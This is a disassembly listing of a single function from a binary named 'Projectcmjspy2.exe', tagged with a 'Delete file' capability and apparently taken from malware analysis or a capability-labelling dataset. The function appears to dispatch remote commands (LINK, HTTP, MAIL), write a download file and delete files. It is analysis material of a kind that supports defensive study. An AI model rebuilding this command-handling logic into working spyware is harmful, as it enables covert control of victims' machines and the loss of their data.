Function at 0x405b0c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff74
push ebx
push esi
push edi
mov dword [ebp - 0x8c], eax
mov eax, 0x49afc0
call fcn.0048715c
mov word [ebp - 0x78], 8
lea edx, [ebp - 0xc]
push edx
call fcn.00405458
pop ecx
add dword [ebp - 0x6c], 2
mov word [ebp - 0x78], 0x14
cmp dword [0x499c30], 4
jne 0x405b53
xor ecx, ecx
mov dword [0x499c30], ecx
lea eax, [ebp - 0xc]
push eax
call fcn.00406254
pop ecx
mov edx, dword [0x499c30]
inc dword [0x499c30]
shl edx, 2
add edx, dword [ebp - 0x8c]
add edx, 0x3a4
lea eax, [ebp - 8]
call fcn.004963c0
push 0x3c
lea edx, [ebp - 0xc]
push edx
call fcn.004062b4
add esp, 8
mov word [ebp - 0x78], 0x20
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x10]
call fcn.00401800
push eax
inc dword [ebp - 0x6c]
call fcn.0040189c
add esp, 8
mov word [ebp - 0x78], 0x14
mov word [ebp - 0x78], 0x2c
mov edx, str.NONE
lea eax, [ebp - 0x14]
call fcn.004961ec
inc dword [ebp - 0x6c]
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x10]
call fcn.00496474
push eax
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00496390
pop ecx
test cl, cl
je 0x405bfe
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00496390
jmp 0x405b42
mov word [ebp - 0x78], 0x38
mov edx, str.LINK
lea eax, [ebp - 0x18]
call fcn.004961ec
inc dword [ebp - 0x6c]
lea edx, [ebp - 0x18]
lea eax, [ebp - 0x10]
call fcn.00496474
push eax
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00496390
pop ecx
test cl, cl
je 0x405ca5
mov eax, dword [ebp - 0x8c]
mov edx, dword [eax + 0x31c]
cmp byte [edx + 0x30], 0
jne 0x405ca5
mov word [ebp - 0x78], 0x44
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x1c]
call fcn.00401800
push eax
inc dword [ebp - 0x6c]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x1c]
mov eax, dword [eax]
call fcn.0043989c
mov edx, eax
mov ecx, dword [ebp - 0x8c]
mov eax, dword [ecx + 0x31c]
call fcn.00496158
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x8c]
mov eax, dword [ecx + 0x31c]
mov dl, 1
call fcn.00427548
mov word [ebp - 0x78], 0x50
mov edx, str.HTTP
lea eax, [ebp - 0x20]
call fcn.004961ec
inc dword [ebp - 0x6c]
lea edx, [ebp - 0x20]
lea eax, [ebp - 0x10]
call fcn.00496474
push eax
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x20]
mov edx, 2
call fcn.00496390
pop ecx
test cl, cl
je 0x405e91
mov eax, dword [ebp - 0x8c]
cmp dword [eax + 0x3a0], 0
jne 0x405d27
push 0x50
call fcn.00485e3c
pop ecx
mov dword [ebp - 0x28], eax
test eax, eax
je 0x405d18
mov word [ebp - 0x78], 0x68
push dword [ebp - 0x28]
call fcn.004129e8
pop ecx
mov word [ebp - 0x78], 0x5c
mov edx, dword [ebp - 0x28]
jmp 0x405d1b
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x8c]
mov dword [eax + 0x3a0], edx
mov word [ebp - 0x78], 0x80
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x24]
call fcn.00401800
push eax
inc dword [ebp - 0x6c]
call fcn.0040189c
add esp, 8
mov word [ebp - 0x78], 0x74
mov word [ebp - 0x78], 0x8c
lea eax, [ebp - 0x30]
call fcn.00401800
push eax
inc dword [ebp - 0x6c]
mov edx, 0x499f74
lea eax, [ebp - 0x2c]
call fcn.004961ec
inc dword [ebp - 0x6c]
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 0x8c]
add eax, 0x3c4
pop ecx
call fcn.004963e8
lea eax, [ebp - 0x30]
call fcn.00401de4
push eax
call sub.KERNEL32.DLL_DeleteFileA
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x30]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x2c]
mov edx, 2
call fcn.00496390
push 0x40504c
mov ecx, dword [ebp - 0x8c]
push dword [ecx + 0x3a0]
call fcn.00412e6c
add esp, 8
push 0
mov word [ebp - 0x78], 0x98
lea eax, [ebp - 0x38]
call fcn.00401800
push eax
inc dword [ebp - 0x6c]
mov edx, str.download.txt
lea eax, [ebp - 0x34]
call fcn.004961ec
inc dword [ebp - 0x6c]
lea edx, [ebp - 0x34]
mov eax, dword [ebp - 0x8c]
add eax, 0x3c4
pop ecx
call fcn.004963e8
lea eax, [ebp - 0x38]
call fcn.00401de4
push eax
lea eax, [ebp - 0x24]
call fcn.00401de4
push eax
mov edx, dword [ebp - 0x8c]
push dword [edx + 0x3a0]
call fcn.00412b28
add esp, 0x10
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x38]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x6c]
dec dword [ebp - 0x6c]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x88]
mov dword fs:[0], ecx
jmp 0x40624c
mov word [ebp - 0x78], 0xa4
mov edx, str.MAIL
lea eax, [ebp - 0x3c]
call fcn.004961ec
inc dword [ebp - 0x6c]
lea edx, [ebp - 0x3c]
lea eax, [ebp - 0x10]
call fcn.00496474
push eax
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x3c]
mov edx, 2
call fcn.00496390
pop ecx
test cl, cl
je 0x40608b
mov word [ebp - 0x78], 0xb0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x40]
call fcn.00401800
push eax
inc dword [ebp - 0x6c]
call fcn.0040189c
add esp, 8
lea edx, [ebp - 0x40]
mov eax, dword [ebp - 0x8c]
add eax, 0x3d8
call fcn.004963c0
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x40]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x78], 0xbc
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x44]
call fcn.00401800
push eax
inc dword [ebp - 0x6c]
call fcn.0040189c
add esp, 8
lea edx, [ebp - 0x44]
mov ecx, dword [ebp - 0x8c]
mov eax, dword [ecx + 0x2f8]
add eax, 0x10274
call fcn.004963c0
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x78], 0xc8
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x48]
call fcn.00401800
push eax
inc dword [ebp - 0x6c]
call fcn.0040189c
add esp, 8
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x8c]
mov eax, dword [ecx + 0x2f8]
add eax, 0x102cc
call fcn.004963c0
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x78], 0xd4
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x4c]
call fcn.00401800
push eax
inc dword [ebp - 0x6c]
call fcn.0040189c
add esp, 8
lea edx, [ebp - 0x4c]
mov ecx, dword [ebp - 0x8c]
mov eax, dword [ecx + 0x2f8]
add eax, 0x102d0
call fcn.004963c0
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x4c]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x8c]
mov eax, dword [ecx + 0x2f8]
cmp byte [eax + 0x10298], 0
je 0x40602c
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x6c]
dec dword [ebp - 0x6c]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x88]
mov dword fs:[0], ecx
jmp 0x40624c
mov word [ebp - 0x78], 0xe0
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax + 0x2f8]
mov edx, dword [eax]
call dword [edx + 0x34]
mov word [ebp - 0x78], 0x14
jmp 0x406056
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x6c]
dec dword [ebp - 0x6c]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x88]
mov dword fs:[0], ecx
jmp 0x40624c
mov word [ebp - 0x78], 0xec
mov edx, 0x499f93
lea eax, [ebp - 0x50]
call fcn.004961ec
inc dword [ebp - 0x6c]
lea edx, [ebp - 0x50]
lea eax, [ebp - 0x10]
call fcn.00496474
push eax
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x50]
mov edx, 2
call fcn.00496390
pop ecx
test cl, cl
je 0x40621c
mov word [ebp - 0x78], 0xf8
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x54]
call fcn.00401800
push eax
inc dword [ebp - 0x6c]
call fcn.0040189c
add esp, 8
lea edx, [ebp - 0x54]
mov edx, dword [edx]
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax + 0x2f4]
call fcn.00427618
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x54]
mov edx, 2
call fcn.00496390
mov ecx, dword [sym.Projectcmjspy2.exe__FormXYZ]
mov eax, dword [ecx + 0x328]
mov edx, dword [eax]
call dword [edx + 0x44]
mov ecx, dword [sym.Projectcmjspy2.exe__FormXYZ]
xor eax, eax
mov dword [ecx + 0x34c], eax
mov word [ebp - 0x78], 0x104
lea eax, [ebp - 0x5c]
call fcn.00401800
push eax
inc dword [ebp - 0x6c]
mov edx, 0x499f97
lea eax, [ebp - 0x58]
call fcn.004961ec
inc dword [ebp - 0x6c]
lea edx, [ebp - 0x58]
mov ecx, dword [ebp - 0x8c]
mov eax, dword [ecx + 0x2f4]
add eax, 0x3c
pop ecx
call fcn.004963e8
lea edx, [ebp - 0x5c]
push edx
lea eax, [ebp - 0x64]
call fcn.00401800
push eax
inc dword [ebp - 0x6c]
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x60]
call fcn.00401800
push eax
inc dword [ebp - 0x6c]
call fcn.0040189c
add esp, 8
lea edx, [ebp - 0x60]
pop ecx
pop eax
call fcn.004963e8
lea edx, [ebp - 0x64]
mov edx, dword [edx]
mov eax, dword [sym.Projectcmjspy2.exe__FormXYZ]
mov eax, dword [eax + 0x328]
mov ecx, dword [eax]
call dword [ecx + 0x38]
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x64]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x60]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x5c]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x58]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x6c]
dec dword [ebp - 0x6c]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x88]
mov dword fs:[0], ecx
jmp 0x40624c
dec dword [ebp - 0x6c]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x6c]
dec dword [ebp - 0x6c]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x88]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret